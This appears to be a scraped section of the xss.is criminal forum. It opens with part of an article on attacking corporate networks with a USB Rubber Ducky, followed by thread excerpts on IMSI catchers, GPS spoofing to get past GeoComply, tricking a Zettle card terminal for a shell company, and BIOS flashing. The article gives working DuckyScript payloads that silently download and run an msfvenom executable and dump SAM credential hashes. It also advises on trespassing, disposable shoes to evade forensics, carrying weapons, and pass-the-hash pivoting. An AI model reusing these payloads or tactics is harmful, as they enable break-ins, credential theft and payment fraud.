$DIGIT_PRINT_MODE = PRINT_INT

$P = FALSE

IF ( $INPUT >= 10000) THEN

$MOD = 10000

CONSUME()

END_IF

IF (($INPUT >= 1000) || ($P == TRUE)) THEN

$MOD = 1000

CONSUME()

END_IF

IF (($INPUT >= 100) || ($P == TRUE)) THEN

$MOD = 100

CONSUME()

END_IF

IF (($INPUT >= 10) || ($P == TRUE)) THEN

$MOD = 10

CONSUME()

END_IF()

$D = $INPUT

PRINTDIGIT()

IF $NL THEN

ENTER

END_IF

END_FUNCTION

REM Translates a variable of presumed boolean type and attempts to convert

REM and inject a BOOLEAN string representation

FUNCTION TRANSLATE_BOOL()

IF $INPUT THEN

STRING TRUE

ELSE

STRING FALSE

END_IF

IF $NL THEN

ENTER

END_IF

END_FUNCTION

REM Translates a variable of presumed integer type and attempts to convert

REM and inject a HEX string representation

FUNCTION TRANSLATE_HEX()

$DIGIT_PRINT_MODE = PRINT_HEX

VAR $chars = 0

VAR $d1 = 0

VAR $d2 = 0

VAR $d3 = 0

VAR $d4 = 0

WHILE ($INPUT > 0)

IF ($chars == 0) THEN

$d1 = ($INPUT % 16)

ELSE IF ($chars == 1) THEN

$d2 = ($INPUT % 16)

ELSE IF ($chars == 2) THEN

$d3 = ($INPUT % 16)

ELSE IF ($chars == 3) THEN

$d4 = ($INPUT % 16)

END_IF

$chars = ($chars + 1)

$INPUT = ($INPUT / 16)

END_WHILE

VAR $i = 0

STRING 0x

IF ($chars == 0) THEN

STRING 0x0000

ELSE IF ($chars == 1) THEN

STRING 000

$D = $d1

PRINTDIGIT()

ELSE IF ($chars == 2) THEN

STRING 00

$D = $d2

PRINTDIGIT()

$D = $d1

PRINTDIGIT()

ELSE IF ($chars == 3) THEN

STRING 0

$D = $d3

PRINTDIGIT()

$D = $d2

PRINTDIGIT()

$D = $d1

PRINTDIGIT()

ELSE IF ($chars == 4) THEN

STRING 0

$D = $d4

PRINTDIGIT()

$D = $d3

PRINTDIGIT()

$D = $d2

PRINTDIGIT()

$D = $d1

PRINTDIGIT()

END_IF

IF $NL THEN

ENTER

END_IF

END_FUNCTION

REM Translates a variable of presumed integer type and attempts to convert

REM and inject a BINARY string representation

FUNCTION TRANSLATE_BINARY()

VAR $I = 16

WHILE ( $I > 0 )

$I = ($I - 1)

IF (($INPUT & 0x8000) == 0 ) THEN

STRING 0

ELSE

STRING 1

END_IF

$INPUT = ($INPUT << 1)

END_WHILE

IF $NL THEN

ENTER

END_IF

END_FUNCTION

END_EXTENSION

REM Turn off TRANSLATE newline

$NL = FALSE

VAR $Frist = 0

VAR $Second = 0

VAR $Third = 0

VAR $Forth = 0

VAR $WaitTime = 30000

VAR $WaitStep = 5000

VAR $WaitDiff = 0

VAR $Cnt = 0

WHILE ($Frist < 10)

$Second = 0

WHILE ($Second < 10)

$Third = 0

WHILE ($Third < 10)

$Forth = 0

WHILE ($Forth < 10)

$INPUT = $Frist

TRANSLATE_INT()

$INPUT = $Second

TRANSLATE_INT()

$INPUT = $Third

TRANSLATE_INT()

$INPUT = $Forth

TRANSLATE_INT()

$Forth = ($Forth + 1)

DELAY 1000

ENTER

ENTER

$Cnt = ($Cnt + 1)

IF ($Cnt == 5) THEN

$Cnt = 0

WHILE ($WaitDiff < $WaitTime)

DELAY $WaitStep

ENTER

$WaitDiff = ($WaitDiff + $WaitStep)

END_WHILE

$WaitDiff = 0

END_IF

END_WHILE

$Third = ($Third + 1)

END_WHILE

$Second = ($Second + 1)

END_WHILE

$Frist = ($Frist + 1)

END_WHILE

2.Установка и запуск файла в скрытом режиме.
один из основных векторов атак , в качестве файла мы будем использовать payload.exe созданный инструментом msfvenom.

Spoiler: Код

GUI r

DELAY 500

STRINGLN powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile(,\\"$env:temp\\svchost64.exe\\"); Start-Process \\"$env:temp\\svchost64.exe\\"")

3.Дамп учетных данных системы и хэшей администратора.
Это нам поможет в будущем...

Spoiler: Код

DELAY 500

ATTACKMODE HID STORAGE

DELAY 1000

GUI r

DELAY 1000

STRING powershell Start-Process powershell -Verb runAs

DELAY 1000

CTRL-SHIFT ENTER

DELAY 1000

DELAY 1000

STRING powershell.exe -NoP -enc cgBlAGcAIABzAGEAdgBlACAAaABrAGwAbQBcAHMAYQBtACAARAB1AGMAawB5AFMAYQBtADsAcgBlAGcAIABzAGEAdgBlACAAaABrAGwAbQBcAHMAeQBzAHQAZQBtACAARAB1AGMAawB5AFMAeQBzADsAQwBvAG0AcAByAGUAcwBzAC0AQQByAGMAaABpAHYAZQAgAC0AUABhAHQAaAAgACIAJABQAFcARABcAEQAdQBjAGsAeQBTAHkAcwAiACwAIAAiACQAUABXAEQAXABEAHUAYwBrAHkAUwBhAG0AIgAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuAFAAYQB0AGgAIABTAGEAbQBEAHUAbQBwAEQAdQBjAGsAeQAuAHoAaQBwADsAcgBlAG0AbwB2AGUALQBpAHQAZQBtACAARAB1AGMAawB5AFMAeQBzADsAcgBlAG0AbwB2AGUALQBpAHQAZQBtACAARAB1AGMAawB5AFMAYQBtADsAZQB4AGkAdAA=

DELAY 500

STRINGLN ;Write-Host "Exfiltrating SamDumpDucky.zip..." -ForegroundColor Green;mv SamDumpDucky.zip ((gwmi win32_volume -f 'label=''DUCKY''').Name);$RD = (gwmi win32_volume -f 'label=''DUCKY''').Name;Start-Sleep 3;(New-Object -comObject Shell.Application).Namespace(17).ParseName($RD).InvokeVerb('Eject');Start- Sleep -s 5;Exit[/CODE]

Теперь с готовыми скриптами можем идти в здание с нашей сеткой...

Атака на корпоративную сеть с помощью Rubber Ducky

Подготовка

Если здание как то связано с офисами и бизнесом , тогда выбираем из одежды более менее адекватные шмотки.
У меня это была рубашка и брюки.
Чтобы избежать неприятных ситуаций или физических конфликтов - берем с собой хоть что для самозащиты (Перцовый спрей , пневматический пистолет).
Ботинки берем одноразовые , так как в случае криминалистики , вас могут найти по подошве , одежду также советую брать одноразовую.

Берем рюкзак , а лучше деловую сумку , там будем держать свой арсенал пентестера.
-ноутбук
-сама Rubber Ducky (одна или несколько)
-Micro SD карты со скриптами
-хоть что то для самозащиты

1683737502817.png
(Я ни в коем случае никого не призываю к насильственным действиям только самооборона в крайнем случае , причинение боли и убийство это грех и очень плохо!)

Входим в здание
Проходим либо через главный ход , либо через черный вход/окно.
Помним что охрана на входе может нас проверить , так что лучше идти через черный вход или окно.
Если мы уж пошли в стороны охраны , в случае проверки говорим что забыли идентификатор работника , на 60% такая тактика проносит)
после того как прошли все этапы защиты , закрепляемся чтобы изучить карту здания.
Ищем цели
Изучив здание , займемся поиском устройств которые будем атаковать.
Помним что возле наших целей не должно быть будущих свидетелей атаки.
Если люди есть - ждем пока уйдут , если не ушли - атакуйте на свой страх и риск.
Проводим атаку
Теперь если в горизонте видения нет никого из будущих свидетелей атаки , подходим к атакуемой системе и ловким махом руки вставляем уточку в USB порт.
Стараемся не палится и работать только рукой.
Помним что язык ввода на устройстве обязательно должен быть английским , иначе
Ждем пока скрипт выполнится до конца , атака в среднем может занять от 5 до 20 секунд.
Когда мы закончили со всеми устройствами , чистим следы
Убегаем
Теперь ибо спокойно уходим выполнив миссию , либо убегаем со всех ног)
Не забываем замести следы , например открытое окно powershell на компе , или телефон который мы поставили не на то место , где он стоял.
Неожиданные моменты и как их избежать
Если нас спалили и заметили - убегаем , но стараемся не наделать шуму.
Если против нас используют оружие , помним что у нас лежит в рюкзаке , но я советую использовать это только в крайнем случае , так как можно заработать срок или не дай бог убить человека.

Захват сети
Теперь имея доступ к устройствам в сети и имея такие данные как хэши паролей администраторов мы будем использовать тактики постэксплуатции и тактики pivoting-a для закрепления в сети.
Pivoting в пентесте относится к технике, которая позволяет пентестеру расширить свою атакующую поверхность, перемещаясь с одной скомпрометированной системы на другую внутри целевой сети.
Эта техника имеет значение, когда система, скомпрометированная в рамках пентеста, не является конечной целью, а служит мостом для достижения более защищенных или ценных целей внутри сети.
Мы будем закреплятся в сети с помощью открытия скрытого впн сервера на одном из зараженных устройств.
использовать будем этот инструмент:

github.com

[ GitHub - ginuerzh/gost: GO Simple Tunnel - a simple tunnel written in

golang ](https://github.com/ginuerzh/gost)

GO Simple Tunnel - a simple tunnel written in golang - ginuerzh/gost

github.com github.com

Для захвата остальных тачек под виндой в домене , используем атаку pass the hash.
Мы будем использовать тот хэш - который вытянула уточка , он сохранен на Micro SD карте со скриптом.
Для извлечения хэша из архива который нам выдала уточка , используем инструмент samdump2 DuckySys DuckySam или pypykatz registry DuckySys --sam DuckySam
Готовый хэш используем для pass the hash атаки.
Вот и таким способом мы захватили сетку)

Массовые атаки
Одним из видов такой атаки , будет метод "бросания флешки".

Метод бросания флешки в BadUSB атаках является одним из способов физической эксплуатации уязвимостей системы и внедрения вредоносного программного обеспечения с помощью злоумышленной USB-флешки.

Суть этого метода заключается в том, что злоумышленник подготавливает USB- устройство, внешне похожее на обычную флешку\. Затем флешка намеренно оставляется или бросается вблизи места, где целевая жертва может ее обнаружить, такого как парковка, столовая или офисный коридор.

Если жертва обнаруживает флешку и решает подключить ее к своему компьютеру, вредоносный код на флешке автоматически запускается и начинает выполнение своих задач.

Основные шаги, выполняемые в ходе бросания флешки в BadUSB атаках, включают:

  1. Подготовка вредоносной флешки: Злоумышленник настраивает флешку таким образом, чтобы она имела автозапуск и содержала вредоносный код, который будет выполнен при подключении к целевой системе.
  2. Бросок флешки: Флешка оставляется или бросается в месте, где она может быть обнаружена целевой жертвой.
  3. Обнаружение и подключение: Жертва обнаруживает флешку и решает подключить ее к своему компьютеру, веря, что это обычное USB-устройство.
  4. Запуск вредоносного кода: При подключении флешки к компьютеру вредоносный код на флешке автоматически запускается и начинает свою работу.

Такая атака базирована на человеческом любопытстве и социальной инженерии.

Итоги​

Вот мы и закончили изучать Rubber Ducky , спустя 48 часов без сна я закончил это)
Надеюсь мой дорогой друг что я тебе хоть как то помог и научил чему-то новому.
Знаю что напоследок очень много екшена) но и такое бывает при физическому пентесте)
Немного материала для изучения:

![github.com](/proxy.php?image=https%3A%2F%2Frepository- images.githubusercontent.com%2F385745965%2F8566c0ba-4444-48ad- ab0b-4c217c90c53d&hash=95e07c766d8d2e1ab3fca752d2b4ef53&return_error=1)

[ GitHub - hak5/usbrubberducky-payloads: The Official USB Rubber Ducky

Payload Repository ](https://github.com/hak5/usbrubberducky-payloads)

The Official USB Rubber Ducky Payload Repository. Contribute to hak5/usbrubberducky-payloads development by creating an account on GitHub.

github.com github.com

![shop.hak5.org](/proxy.php?image=http%3A%2F%2Fpayloadhub.com%2Fcdn%2Fshop%2Farticles%2Fusb_rubber_ducky- exfiltration_77e86f14-1573-4607-a97e-a23d7c4140d1_600x.png%3Fv%3D1730718969&hash=f22106777f815cd2cdd39885679e717b&return_error=1)

[ Payloads ](https://shop.hak5.org/blogs/payloads/tagged/usb-rubber-

ducky)

Hak5 featured payloads. Get the best payloads for the USB Rubber Ducky, Bash Bunny, Packet Squirrel, LAN Turtle, Shark Jack and Key Croc

shop.hak5.org shop.hak5.org

__

Hak5 PayloadStudio

PayloadStudio is a feature rich Payload IDE for the entire Hak5 ecosystem. It is also home of the official DuckyScript 3 compiler.

ducktoolkit.com ducktoolkit.com

github.com

[ GitHub - tenable/router_badusb: BadUSB in Routers

](https://github.com/tenable/router_badusb)

BadUSB in Routers. Contribute to tenable/router_badusb development by creating an account on GitHub.

github.com github.com

А с вами как всегда был маленький Gufi!
До встреч в новых статьях!

Автор: Gufi
Сделано специально для xss.is !

Поиск новейших технологий вредоносного ПО для атм
ID: 676535aeb4103b69df373567
Thread ID: 62936
Created: 2022-02-14T04:23:35+0000
Last Post: 2024-07-22T13:06:00+0000
Author: Alice9999999
Replies: 16 Views: 2K

Эти технологии могут быть вредоносными программами или Raspberry Pi, могут быть технологией nfc, любая новейшая технология, которая мне нужна, я могу купить ее или % партнера.
These technologies may be malware or raspberry pi, may be nfc technology, any latest technology I need, I can buy or % partner.

Обход GeoComply (gps спуфинг)
ID: 676535aeb4103b69df373569
Thread ID: 118558
Created: 2024-07-10T06:02:42+0000
Last Post: 2024-07-20T22:34:17+0000
Author: mister_username
Replies: 7 Views: 2K

есть задача пройти (какой смелый!!) или хотя бы подстроиться так, чтобы

было максимально похоже для прохода geocomply.​

в моем понимании нужен хороший хотспот, раздающий wifi под ovpn (в моем случае малина марса), действующий в связке с HackRf для подавления гнсс/гпс и дополнительно хочется использовать ublox модуль для скрытия того, что этот сигнал fake (взял идею ТУТ). по задумке, это все конечно же должно работать вне зоны досягаемости других сетей (в клетке фарадея / сильно за городом)
так вот собственно вопрос, поможет ли такая схема для прохода геокомпли или нет? если нет, то какие девайсы/техники можно дополнительно использовать в этой связке, для получения дополнительных баллов доверия? заранее благодарю за ответ;)

Спецтехника: IMSI Catcher'ы
ID: 676535aeb4103b69df37356d
Thread ID: 105387
Created: 2024-01-09T11:41:25+0000
Last Post: 2024-06-21T01:26:45+0000
Author: gliderexpert
Prefix: GSM
Replies: 15 Views: 2K

Долгое время я собирал презентации, мануалы и тех.описания коммерческих комплексов, специальных технических средств - позволяющих перехватывать переговоры в сетях сотовой связи, СМС-сообщения, получать идентификаторы моб.телефона, глушить его или пеленговать. Для краткости будем называть это оборудование разновидностями IMSI-Catcher'ов, хотя это конечно же некорректно с технической точки зрения - но название "кетчер" стало уже жаргонным, поэтому так.
В техописаниях часто приводится куча информации - начиная от алгоритмов работы (в общих чертах, но ведь главное - сама идея!), характеристик - заканчивая тактикой применения и даже внешним видом "железа", а так же интерфейсы и особенности эргономики.

Представляю вниманию общественности форума XSS некоторые выдержки из личного архива :

STINGRAY, он же "Скат", он же "Rayfish"
stingray.png
Пожалуй, самый известный комплекс, массово закупаемый спецслужбами США.
Модульный, состоит из нескольких блоков. Вот описания некоторых из них
iDEN Transceiver Operations Manual - Руководство эксплуатации IMSI-Catcher'а Stingray / Rayfish
Gemini Rayfish Controller - Документация комплекса GEMINI, который расширяет возможности Stingray для работы с LTE, WCDMA, включая редирект 4G-2G
Gemini RayFish Controller release notes - Release notes комплекса Gemini (один из компонентов системы stingray)

Discovery telecom
leaflet.png

DT GSM(2G), UMTS (3G), LTE (4G) - IMSI/IMEI Catcher General principles - Краткое описание возможностей кэтчеров фирмы Discovery Telecom

MODEL IMSI400 - Phantom Technologies
imsi400.png

IMSI400.pdf MODEL IMSI400 - Описание-презентация системы "IMSI Monitoring and Interception System MODEL IMSI400"

Universal Monitoring System Model # HSSD3
hssd3.png

Universal Monitoring System Model # HSSD3 - Описание комплекса Universal Monitoring System Model # HSSD3 for GSM Networks.

DGS-400 GSM/UMTS/4G-LTE IMSI Catcher
dgs4001.pngdgs4002.png

DGS-400 GSM/UMTS/4G-LTE IMSI Catcher - Технические характеристики системы GSM/UMTS/4G-LTE IMSI Catcher DGS-400

The UAV IMSI Catcher # CC4300U
uav.png

The UAV IMSI Catcher # CC4300U - Компактный IMSI Catcher для размещения на беспилотных летательных аппаратах. Одна из заявленных функций - **перехват WhatsApp.

ТЗ на imsi-catcher'ы от спецслужб Бангладеш**
bangl.png
ТЗ на imsi-catcher'ы от спецслужб Бангладеш - слито из внутреннего архива одного из производителя imsi-catcher'ов. Подробное техническое задание на комплекс перехвата и мониторинга коммуникаций в сетях мобильной связи, отправленное спецслужбами Бангладеш производителю IMSI Cather'ов перед размещением заказа.

The Micro Cell Catcher Model # CC4300
cc4300.png

The Micro Cell Catcher Model # CC4300 - Подробное описание и технические характеристики "карманного" Imsi-catcher'а

The Micro Cell Catcher Model # CC4300 (versions)
micro.png

The Micro Cell Catcher Model # CC4300 - Различные варианты (версии) компактногр imsi catcher'а

Backpack IMSI Catcher Model CC2200
backpack1.png
backpack2.png
Backpack IMSI Catcher Model CC2200 - Портативный IMSI-catcher с автономным источником питания, переносимый в рюкзаке. GSM, UMTS, LTE.

The Tri-band GSM and UMTS Cell Catcher
triband.png

The Tri-band GSM and UMTS Cell Catcher - Комплекс IMSI-Catcher, довольно старого поколения - работает в 2G + 3G, поддерживает функцию редиректа 3G->2G. Умеет получать идентификаторы без редиректа, непосредственно в 3G сети.

Cell Catcher CC1900 3G
3g.png

Cell Catcher CC1900 3G - Target Identifier + IMSI Catcher + Phone Tracking для сетей только 3G

Cell Catcher CC1900 2G
2g.png

Cell Catcher CC1900 2G - Target Identifier + IMSI Catcher + Phone Tracking для сетей ТОЛЬКО 2G

Cell Catcher Model # 1504
15041.png
15042.png
Cell Catcher Model # 1504 - Презентация более-менее современного IMSI-Catcher'а, позволяющего получать идентификаторы мобильного телефона в любой сети - 2g, 3g, 4g. Показан отдельный прибор-пеленгатор с направленной антенной в наплечной сумке и интерфейс пользователя.

Cell Catcher CC1500 For Prisons & Government Facilities
pole.png
Cell Catcher CC1500 For Prisons & GovernmentFacilities - Стационарный IMSI-Catcher, размещаемый в тюрьмах и зданиях правительственных организаций, спецслужб.

WhatsApp Intercept
whatsapp1.png

WhatsApp Intercept - Коммерческое предложение на систему перехвата сообщений мессенджера WhatsApp

WhatsApp Intercept
whatsapp2.png
WhatsApp Intercept - краткое описание программного (? или программно-аппаратного) комплекса для перехвата сообщений WhatsApp

Maximus - ground based geolocation
maximus.png

Maximus - ground based geolocation - Монтируемый на автомобиль пеленгатор мобильных телефонов с imsi-catcher'ом

THE ONLY REAL SMS BROADCASTER
sms.png
THE ONLY REAL SMS BROADCASTER USERMANUAL - Документация на китайский комплекс для нелегальной SMS-рекламы. Файтически это IMSI-Catcher, работающий в сетях 2G+3G+4G и отправляющий рекламную СМСку в момент аттача абонента.

Network Analyzer for the Communications Industry: The NA2000
na.png

The NA2000 - Анализатор сетей сотовой связи. Что-то типа TEMSа , только умеет искать фейковые базовые станции

GSM CELLULAR MONITORING SYSTEMS
pki1.png

GSM CELLULAR MONITORING SYSTEMS - Каталог комплексов перехвата информации в сетях сотовой связи производства PKI

GSM3060 GSM interception system
catch.png

GSM3060 GSM interception system - ПОДРОБНЕЙШЕЕ описание принципа работы активной системы перехвата GSM, с дешифратором А5/1. В презентации приведены блок-схемы, полностью объясняющие принцип работы активного gsm-interceptor'а.

Imsi-catcher от фирмы Мегафон ( "информационный периметр")
megafake.png
ПАК "Информационный периметр" - понижение шифрования, перехват переговоров/смс, создание "доверенной зоны" - ограничение связи телефонов, идентификаторы которых отсутствуют в "белом списке". Выдача предупреждения в службу охраны при появлении неопознанного мобильного телефона

Локализация GSM телефонов на поле боя (Комплекс GSM перехвата "Леер" /БПЛА "Орлан")
leer.png
В отчете приведено подробное описание методики определения местоположения мобильных телефонов в военных целях. Достаточно подробно изучен методами OSINT и описан российский комплекс GSM-перехвата "Леер" (бпла "орлан"), активно применяемый в настоящий момент времени в боевых действиях на территории Украины.
СКАЧАТЬ
.

Хакерство Физические атаки с использованием хакерских устройств
ID: 676535aeb4103b69df373570
Thread ID: 98517
Created: 2023-09-21T06:19:41+0000
Last Post: 2024-06-06T04:46:10+0000
Author: SenjorZeroday
Prefix: Мануал/Книга
Replies: 8 Views: 2K

**Работа начатая еще в далеком 2020 году как презентация для научно технического совета, развитая в 10 отдельных статей и затем объединенная в единый документ, наконец закончена. Благодаря финансовой поддержки компании УЦСБ книга выходит в цветном формате с множеством фотографий, цветных листингов кода и конфигов.
О чем книга.
При тестировании на проникновение физические атаки не обязательно могут быть связаны с грубой силой. Для потенциального злоумышленника, подошедшего максимально близко к своим целям, существует целое множество атак, часть из которых широкой публике почти не известна.
А широкое распространение беспроводных технологий позволяет атакующему выполнить проникновение даже не преодолевая физический периметр, действуя уже по модели внешнего нарушителя.
В книге показано на что способен киберпреступник, замотивированный настолько, чтобы оказаться в зоне действия беспроводных сетей, или даже ещё ближе... Что киберпреступник, находящийся так близко располагает куда большими возможностями, нежели развивая свои атаки из сети интернет.
Книга состоит из трех частей:

СКАЧАТЬ - DWNLD
**
photo_2023-09-21_09-12-17.jpg

Обнаружение БС спецслужб
ID: 676535aeb4103b69df373574
Thread ID: 114236
Created: 2024-05-10T09:06:51+0000
Last Post: 2024-05-14T08:40:11+0000
Author: ftj78
Replies: 7 Views: 2K

Приветствую
У спецслужб есть возможность получить примерное местоположение телефона от оператора, дальше они приезжают на место, переключают всех абонентов на свою специальную БС в машине, и с помощью специальной антенны в сумочке - ходят меряют где именно находится телефон.
Вопрос: как вовремя узнать о том, что они уже рядом?

Видел imsi catcher detector на android, но у меня не получилось его запустить.

Как я понимаю, список БС в округе стабилен, и если регулярно сканировать, то можно заметить изменения.
Есть у кого-то идеи/наработки/решения?

Wi-fi модем издающий IP нужного гео
ID: 676535aeb4103b69df37357d
Thread ID: 110104
Created: 2024-03-10T12:35:30+0000
Last Post: 2024-04-01T17:35:19+0000
Author: Litara_B
Prefix: WiFi
Replies: 15 Views: 2K

**Здоров народ. **​

**Умных слов не знаю, скажу прямо. Возможно ли добиться чтоб wi-fi модем издавал ip нужного мне гео.
Конкретно мне надо чтоб при активации телефона и подключение к сети- сразу телефон думал что я нахожусь например в Африке и этому подобное. Возможно у вас есть свои варианты по этому поводу, с удовольствием послушаю.
И будет ли дядя провайдер нервно курить в углу когда увидит трафик перенаправлен с такой целью? Или ему будет похуй как и на использование впн.
Спасибо ♥️ **

Как обмануть терминал Zettle?
ID: 676535aeb4103b69df37358a
Thread ID: 91539
Created: 2023-06-27T22:21:51+0000
Last Post: 2024-02-06T07:08:20+0000
Author: CashoutGuy
Replies: 24 Views: 2K

В общем-то это даже не серое... Имеется собственная фиктивная фирма в Англии и оформленная на нее английская бизнес палка, с терминалом Zettle в комплекте, вот только беда, терминал отказывается читать карты, так как и я и терминал физически находимся в Украине (а эта гадость детектит местоположение по GPS и выдает чтото типа "вы можете принимать карты только находясь в стране регистрации)
Возможно ли как-то это обойти? Может кто-то сталкивался
Терминал работает явно на андроиде, должны же быть решения

Собираем устройства для пентеста
ID: 676535aeb4103b69df37358e
Thread ID: 102361
Created: 2023-11-16T13:46:35+0000
Last Post: 2024-01-22T02:10:40+0000
Author: Ferostarz
Prefix: Мануал/Книга
Replies: 10 Views: 2K

Многообразие и доступность различных недорогих аппаратных платформ, таких как Arduino, Raspberry Pi и др., простота их программирования, и при этом практически полное отсутствие средств защиты от них делают хакерские устройства мощным и опасным средством реализации компьютерных атак.
В книге рассматриваются как теоретические основы информационной безопасности, так и практические аспекты создания собственных устройств с исходными кодами, схемами и примерами реализации. Также рассматриваются механизмы защиты от данного вида атак.

You must have at least 3 reaction(s) to view the content.

Дорожная карта по обучению аппаратному взлому
ID: 676535aeb4103b69df373591
Thread ID: 91905
Created: 2023-07-02T19:12:35+0000
Last Post: 2024-01-17T06:47:01+0000
Author: Onyx450
Replies: 16 Views: 2K

Здравствуйте,друг хотел бы обучится аппаратному взлому,дайте пожалуйста информацию,с чего начать как правильно учится где взять информацию,можно ли на этом заработать и если можно то как?
Буду очень благодарен за информацию.

Отпугиватель комаров (ИК пульсар)
ID: 676535aeb4103b69df373596
Thread ID: 97760
Created: 2023-09-10T14:34:39+0000
Last Post: 2024-01-06T16:44:35+0000
Author: Californium
Replies: 28 Views: 2K

![mysku.club](/proxy.php?image=https%3A%2F%2Fext.mysku- st.net%2F250s%2Fimg.banggood.com%2Fthumb%2Flarge%2Foaupload%2Fbanggood%2Fimages%2FC7%2F47%2Faad9600a-b28b-4b67-b57f-22f1c45c1e63.jpg&hash=fc26971d68474dfccdbc8d8748d6d598&return_error=1)

[ Ловушка для комаров Loskii LM-707 с питанием от USB

](https://mysku.club/blog/china-stores/54737.html#comment2198213)

Здравствуйте. В своём сегодняшнем обзоре я расскажу о ловушке для комаров которая работает от USB, привлекает комаров ультрафиолетом и засасывает их в своё чрево. В обзоре вас ждёт расчленёнка, много ...

mysku.club

Одно время хотел делать ловушку, изучал вопрос. Остановился на подавляющем устройстве — ИК пульсаре (940 нм), он подавляет режим полета, в ночное время.

Click to expand...

Требуются подробности.

Скремблирование голосовых вызовов GSM
ID: 676535aeb4103b69df373598
Thread ID: 103728
Created: 2023-12-08T08:56:17+0000
Last Post: 2023-12-14T15:34:56+0000
Author: Ar3s
Prefix: GSM
Replies: 30 Views: 2K

Всем добрый день. Нужен совет/мнение опытных людей.
Имеется вот какая мысль, а почему нельзя шифровать голос при звонках через GSM сеть?
Грубо говоря представим что у нас есть несколько телефонных аппаратов. На них стоит или специальный софт или самопальная прошивка. Телефон по отпечатку пальца нового владельца генерит какие-то ключи шифрования. Далее при звонке на другой номер слушает ответ. Если в первую секунду после поднятия трубки на той стороне, в определенном диапазоне частот пришло кодовое слово - включается софт на телефоне. Софт отключает подачу в сеть голоса с микрофона. Твой голос оцифровывается телефоном, далее кодируется звуковым кодеком с помощью твоего ключа и в сеть уходит некая морзянка (или шарокополосный набор звуков). На той стороне телефон принимает данные, декодирует ключем полученным от тебя заранее или в процессе начала звонка и воспроизводит через динамик телефона. В обратную сторону так же.
Короче. Идея в том что бы совершать звонки с одного аппарата на второй через обычную сотовую сеть и при этом никто не мог прослушать твой разговор. Записи на спецоборудовании будет просто невозможно прослушать ибо это набор непонятных звуков.
На сколько реально такое реализовать на том же андроиде? Знаю что стоковые прошивки блокируют прямой доступ к микрофону и динамику, но рутованные вроде как позволяют это делать.
Знаю что в процессе такого разговора будут возникать задержки на декодирование потокового шифрованного контента и др. Знаю что в GSM используются звуковые кодеки которые срезают часть звукового частотного спектра, но оставшегося достаточно что бы передавать довольно большой объем информации закодированного звуковыми колебаниями.
От сообщества хочу получить мнение на тему почему это возможно или не возможно? Почему никто такое до сих пор не реализовал? Или любые идеи и мысли по теме, но без излишнего флуда. Спасибо.

базовые навыки работы с программатором SPI flash, перепрошивка BIOS/UEFI
ID: 676535aeb4103b69df3735a1
Thread ID: 92416
Created: 2023-07-08T21:45:00+0000
Last Post: 2023-11-21T17:04:38+0000
Author: Dread Pirate Roberts
Prefix: Статья
Replies: 20 Views: 2K

несмотря на то, что в перепрошивке BIOS много нюансов - основные я объясню. а вот самое сложное в перепрошивке - это надеть прищепку :D

Disclaimer: вариант с прищепкой ненадёжный - прошивка может не сдампиться, а прищепка может повредить чип, но это самый быстрый и дешёвый метод, т.к. не требует расходов на паяльную станцию и микроскоп. также у подавляющего большинства пользователей всё получается без проблем, CH341A - самый рекомендуемый программатор на форуме bios-mods (и крайне не рекомендуемый на профессиональных форумах, но об этом чуть ниже :D )
для гарантированно беспроблемного чтения и записи, а также чтобы гарантированно не убить материнку, я рекомендую вместо использования прищепки выпаивать чип и вставлять его напрямую в программатор.
работать я буду в линуксе, потому что виндой пользоваться не умею.

0. что такое SPI, примеры чипов

SPI - это один из стандартов передачи данных между железками, в чипах биоса используется именно он. мне лень перефразировать википедию, читайте сами: https://ru.wikipedia.org/wiki/Serial_Peripheral_Interface

основное, что вам нужно запомнить: для программирования SPI чипа нужно определить у этого чипа 6 контактов, которые называются:
- "MISO"
- "MOSI"
- "SCLK", он же "SCK" или "CLK"
- "SS", он же "CS"
- "VDD", он же "VCC", "VREF", "5V", "3.3V", "1.8V", или просто "плюс"
- "VSS", он же "GND", он же "земля" или просто "минус"

как найти биос:
- если у чипа 8 или 16 ног*,
- в первых символах названия стоит "25",
- и особенно если на нём написано "Winbond", "MXIC", "SST",
то скорее всего это и есть чип с прошивкой биоса.

sop-son-soic.png
son-bga.jpg

примеры чипов здорового человека:

25_mxic_8_bios.jpg
25_winbond_8.jpg
25_sst_8.jpg

на особо илитных материнках чипы даже подписаны:

25_winbond_16_bios.jpg

поскольку SPI весьма распространённый стандарт, то он используется не только биосом, но и кучей других составляющих компа. например, на таком же чипе может быть записана прошивка контроллера сетевой платы:

25_winbond_x4.jpg

то есть не всё, что "winbond-25", то биос :)

однако на некоторых материнских платах встречаются сразу два чипа именно биоса, что с этим делать я не знаю, гуглите сами.

обратите внимание, что у всех чипов в одном углу есть пятно краски или кружочек - так обозначается первая нога чипа. зачастую это обозначение также дублируется на материнке, тоже пятном краски или стрелкой.

1. китайская подделка китайского программатора

для прошивки биоса я буду использовать копеечный "народный" программатор "CH341A", де-факто являющийся стандартом для перепрошивки биоса.

существует куча подделок этого программатора, поэтому я рекомендую или найти оригинал, или купить конкретную подделку, которая точно работает (по крайней мере у меня :D )

оригинал: плата зелёного цвета с кучей надписей, чип "CH341A", название "CH341AProg".
вот это оригинальные (возможно оригинальные :D ) программаторы:

ch341a_v1.7.jpg

ch341a_v1.7_.jpg

вот это рабочая подделка: плата чёрного цвета, чип "CH341B" (почти все подделки поставляются с этим чипом вместо "CH341A"), название с опечатками "MinProgramment" вместо "Mini Programmer", и подпись "MIOS" вместо "MISO" у одного контакта.

ch341b.jpg

ch341b_2.jpg

ch341b_3.jpg

большинство продаванов с али продают программаторы в комплекте с прищепкой SOP8/SOIC8 для стандартного восьминогого чипа BIOS. если будете заказывать, то вдобавок захватите прищепку SOP16/SOIC16 на 16 контактов, она тоже может пригодиться - 16тиногие чипы тоже встречаются.

aliexpress_1.png

aliexpress_2.png

aliexpress_3.png

также обязательно погуглите спецификацию вашего чипа биоса - некоторые чипы работают от 1.8 вольт вместо 3.3, такие чипы придётся подключать через переходник на 1.8 вольт типа такого:

adapter_1.8v.jpg

ch341a_with_1.8v_adapter.jpg

также может пригодиться набор пинцетов "SMD grabber" / "probe hook". меня пару раз выручали, когда через прищепку никак не получалось сдампить чип.
китайские грабберы почти ничего не стоят (2-3 бакса за целый набор), но они очень толстые (~3мм) и поэтому подключаться ими к чипу будет очень сложно или вообще не получится.

grabbers_ali.png

